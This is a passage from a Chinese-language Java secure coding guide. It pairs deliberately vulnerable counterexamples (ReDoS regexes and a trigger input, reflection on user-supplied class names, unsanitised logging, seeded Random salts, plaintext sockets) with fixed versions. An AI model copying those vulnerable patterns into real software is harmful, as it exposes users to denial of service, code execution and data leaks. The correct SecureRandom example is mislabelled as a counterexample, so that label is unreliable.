1818- 在编写正则时,尽量不要使用过于复杂的正则,尽量少用分组,例如对于正则`^(([a-z])+\.)+[A-Z]([a-z])+$`(存在ReDos风险),可以将多余的分组删除:`^([a-z]+\.)+[A-Z][a-z]+$`,这样在不改变检查规则的前提下消除了ReDos风险;
1819- 避免动态构建正则,当使用外部数据构造正则时,要使用白名单进行严格校验。
1820
1821**【反例】**
1822
1823```java
1824private static final Pattern REGEX_PATTER = Pattern.compile("a(b|c+)+d");
1825
1826public static void main(String[] args) {
1827    ...
1828    Matcher matcher = REGEX_PATTER.matcher(args[0]);
1829    if (matcher.matches()) {
1830        ...
1831    } else {
1832        ...
1833    }
1834    ...
1835}
1836```
1837
1838上述示例代码中,正则表达式`a(b|c+)+d`存在ReDos风险,当匹配的字符串格式为”accccccccccccccccx”时,随中间的字符”c”的增加,代码执行时间将成指数级增长。
1839
1840**【正例】**
1841
1842```java
1843private static final Pattern REGEX_PATTER = Pattern.compile("a[bc]+d");
1844
1845public static void main(String[] args) {
1846    ...
1847    Matcher matcher = REGEX_PATTER.matcher(args[0]);
1848    if (matcher.matches()) {
1849        ...
1850    } else {
1851        ...
1852    }
1853    ...
1854}
1855```
1856
1857上述代码中,将正则表达式精简为`a[bc]+d`,可以在实现相同功能的前提下消除ReDos风险。
1858
1859**【反例】**
1860
1861```java
1862String key = request.getParameter("keyword");
1863...
1864String regex = "[a-zA-Z0-9_-]+@" + key + "\\.com";
1865Pattern searchPattern = Pattern.compile(regex);
1866...
1867```
1868
1869上面的代码示例中,使用外部指定的keyword构造正则,当外部输入中使用了重复性分组,可能会导致最终的正则存在ReDos风险。在实际开发代码过程中,应避免直接使用外部数据构造正则或直接使用外部数据作为正则使用。
1870
1871## 禁止直接使用外部数据作为反射操作中的类名/方法名
1872
1873**【描述】**
1874
1875反射操作中直接使用外部数据作为类名或方法名,会导致系统执行非预期的逻辑流程(Unsafe Reflection)。这可被恶意用户利用来绕过安全检查或执行任意代码。当反射操作需要使用外部数据时,必须对外部数据进行白名单校验,明确允许访问的类或方法列表;另外也可以通过让用户在指定范围内选择的方式进行防护。
1876
1877**【反例】**
1878
1879```java
1880String className = request.getParameter("class");
1881...
1882Class objClass = Class.forName(className);
1883BaseClass obj = (BaseClass) objClass.newInstance();
1884obj.doSomething();
1885```
1886
1887上述代码示例中,直接使用外部指定的类名通过反射构造了一个对象,恶意用户可利用此处构造一个任意的`BaseClass`子类的对象,当恶意用户可控制`BaseClass`的某个子类时,则可在该子类的`doSomething()`方法中执行任意代码。另外恶意用户还可以利用此代码执行任意类的默认构造方法,即使在进行类型转换时抛出`ClassCastException`,恶意用户预期的构造方法中的代码也已经执行。
1888
1889**【正例】**
1890
1891```java
1892String classIndex = request.getParameter("classIndex");
1893String className = (String) reflectClassesMap.get(classIndex);
1894if (className != null) {
1895    Class objClass = Class.forName(className);
1896    BaseClass obj = (BaseClass) objClass.newInstance();
1897    obj.doSomething();
1898} else {
1899    throw new IllegalStateException("Invalid reflect class!");
1900}
1901...
1902```
1903
1904上述示例代码中,外部只能指定要反射的类的代号,当代号可映射为一个指定的类名时,执行反射操作,否则判断为非法参数。
1905
1906# 日志
1907
1908#### 禁止直接使用外部数据记录日志
1909
1910**【描述】**
1911
1912直接将外部数据记录到日志中,可能存在以下风险:
1913
1914- 日志注入:恶意用户可利用回车、换行等字符注入一条完整的日志;
1915- 敏感信息泄露:当用户输入敏感信息时,直接记录到日志中可能会导致敏感信息泄露;
1916- 垃圾日志或日志覆盖:当用户输入的是很长的字符串,直接记录到日志中可能会导致产生大量垃圾日志;当日志被循环覆盖时,这样还可能会导致有效日志被恶意覆盖。
1917
1918所以外部数据应尽量避免直接记录到日志中,如果必须要记录到日志中,要进行必要的校验及过滤处理,对于较长字符串可以截断。对于记录到日志中的数据含有敏感信息时,对于秘钥、口令类的敏感信息,将这些敏感信息替换为固定长度的*,对于其他类的敏感信息(如手机号、邮箱等),先进行匿名化处理。
1919
1920**【反例】**
1921
1922```java
1923String jsonData = getRequestBodyData(request);
1924if (!validateRequestData(jsonData)) {
1925    LOG.error("Request data validate fail! Request Data : " + jsonData);
1926}
1927```
1928
1929上述代码中,当请求的json数据校验失败,会直接将json字符串记录到日志中,当json字符串中含有敏感信息,会导致敏感信息泄露的风险,当恶意用户向json字符串中通过回车换行符注入伪造的日志会造成日志注入问题,当json字符串比较长时,会导致日志冗余。
1930
1931**【正例】**
1932
1933外部数据记录到日志中前,将其中的\r\n等导致换行的字符进行替换,消除注入风险。如下代码为其中一种实现方式:
1934
1935```java
1936public String replaceCRLF(String message) {
1937    if (message == null) {
1938        return "";
1939    }
1940    return message.replace('\n', '_').replace('\r', '_');
1941}
1942```
1943
1944#### 禁止在日志中记录口令、密钥等敏感信息
1945
1946**【描述】**
1947
1948在日志中不能记录口令、密钥等敏感信息,包括这些敏感信息的加密密文,防止产生敏感信息泄露风险。若因为特殊原因必须要记录日志,应用固定长度的星号(*)代替这些敏感信息。
1949
1950**【反例】**
1951
1952```java
1953private static final Logger LOGGER = Logger.getLogger(TestCase1.class);
1954...
1955LOGGER.info("Login success, user is " + userName + ", password is " +
1956    encrypt(pwd.getBytes(StandardCharsets.UTF_8)));
1957```
1958
1959**【正例】**
1960
1961```java
1962private static final Logger LOGGER = Logger.getLogger(TestCase1.class);
1963...
1964LOGGER.info("Login success, user is " + userName + ", password is ********.");
1965```
1966
1967# 性能和资源管理
1968
1969#### 进行IO类操作时,必须在try-with-resource或finally里关闭资源
1970
1971**【描述】**
1972
1973申请的资源不再使用时,需要及时释放。而在产生异常时,资源释放常被忽视。因此要求在IO、数据库操作等需要显式调用关闭方法如`close()`释放资源时,必须在try-catch-finally的finally中调用关闭方法。如果有多个IO对象需要`close()`,需要分别对每个对象的`close()`方法进行try-catch,防止一个IO对象关闭失败导致其他IO对象都未关闭,保证产生异常时释放已申请的资源。
1974
1975Java 7有自动资源管理的特性try-with-resource,不需手动关闭。它优先于try-finally,这样得到的代码将更加简洁、清晰,产生的异常也更有价值。特别是对于多个资源或异常时,try-finally可能丢失掉前面的异常,而try-with-resource会保留第一个异常,并把后续的异常作为Suppressed exceptions,可通过`getSuppressed()`返回的数组来检验。
1976
1977try-finally也常用于`lock()`和`unlock()`等场景。
1978
1979**【正例】**
1980
1981```java
1982try (FileInputStream in = new FileInputStream(inputFileName);
1983    FileOutputStream out = new FileOutputStream(outputFileName)) {
1984    copy(in, out);
1985}
1986```
1987
1988# 其他
1989
1990#### 全场景下必须使用密码学意义上的安全随机数
1991
1992**【描述】**
1993
1994不安全的随机数可能被部分或全部预测到,导致系统存在安全隐患,安全场景下使用的随机数必须是密码学意义上的安全随机数。密码学意义上的安全随机数分为两类:
1995
1996- 真随机数产生器产生的随机数;
1997- 以真随机数产生器产生的少量随机数作为种子的密码学安全的伪随机数产生器产生的大量随机数。
1998
1999Java中的`SecureRandom`是一种密码学安全的伪随机数产生器,对于使用非真随机数产生器产生随机数时,要使用少量真随机数作为种子。
2000
2001常见安全场景包括但不限于以下场景:
2002
2003- 用于密码算法用途,如生成IV、盐值、密钥等;
2004- 会话标识(sessionId)的生成;
2005- 挑战算法中的随机数生成;
2006- 验证码的随机数生成;
2007
2008**【反例】**
2009
2010```java
2011public byte[] generateSalt() {
2012    byte[] salt = new byte[8];
2013    Random random = new Random(123456L);
2014    random.nextBytes(salt);
2015    return salt;
2016}
2017```
2018
2019`Random`生成是不安全随机数,不能用做盐值。
2020
2021**【反例】**
2022
2023```java
2024public byte[] generateSalt() {
2025    byte[] salt = new byte[8];
2026    SecureRandom random = new SecureRandom();
2027    random.nextBytes(salt);
2028    return salt;
2029}
2030```
2031
2032#### 必须使用SSLSocket代替Socket来进行安全数据交互
2033
2034**【描述】**
2035
2036当网络通信中涉及明文的敏感信息时,需要使用SSLSocket而不是Socket,Socket是明文通信,攻击者可以通过网络监听获取其中的敏感信息,通过中间人攻击对报文进行恶意篡改。SSLSocket是在Socket的基础上进行了一个层安全性保护,包括身份认证、数据加密和完整性保护。
2037
2038**【反例】**
2039
2040```java
2041try {
2042    Socket socket = new Socket();
2043    socket.connect(new InetSocketAddress(ip, port), 10000);
2044    os = socket.getOutputStream();
2045    os.write(userInfo.getBytes(StandardCharsets.UTF_8));
2046    ...
2047} catch (IOException ex) {
2048    // 处理异常
2049} finally {
2050    // 关闭流
2051}
2052```
2053
2054上述代码中使用socket来明文传输报文信息,报文中的敏感信息存在泄露及篡改的风险。
2055
2056**【正例】**
2057
2058```java
2059try {
2060    SSLSocketFactory sslSocketFactory =
2061        (SSLSocketFactory) SSLSocketFactory.getDefault();
2062    SSLSocket sslSocket = (SSLSocket) sslSocketFactory.createSocket(ip, port);
2063    os = sslSocket.getOutputStream();
2064    os.write(userInfo.getBytes(StandardCharsets.UTF_8));
2065    ...
2066} catch (IOException ex) {
2067    // 处理异常
2068} finally {
2069    // 关闭流
2070}
2071```
2072
2073该正确代码示例中,SSLSocket来使用SSL/TLS安全协议保护传输的报文。
2074
2075**【例外】**
2076
2077因为SSLSocket提供的报文安全传输机制,将造成巨大的性能开销。在以下情况下,普通的套接字就可以满足需求:
2078
2079- 套接字上传输的数据不敏感。
2080- 数据虽然敏感,但是已经过恰当加密。
2081
2082#### 禁止代码中包含公网地址
2083
2084**【级别】** 要求
2085
2086**【描述】**
2087
2088代码或脚本中包含用户不可见,不可知的公网地址,可能会引起客户质疑。
2089
2090对产品发布的软件(包含软件包/补丁包)中包含的公网地址(包括公网IP地址、公网URL地址/域名、邮箱地址)要求如下:
20911、禁止包含用户界面不可见、或产品资料未描述的未公开的公网地址。
20922、已公开的公网地址禁止写在代码或者脚本中,可以存储在配置文件或数据库中。
2093
2094对于开源/第三方软件自带的公网地址必须至少满足上述第1条公开性要求。
2095
2096**【例外】**
2097
2098对于标准协议中必须指定公网地址的场景可例外,如soap协议中函数的命名空间必须指定的一个组装的公网URL、http页面中包含w3.org网址、XML解析器中的Feature名等。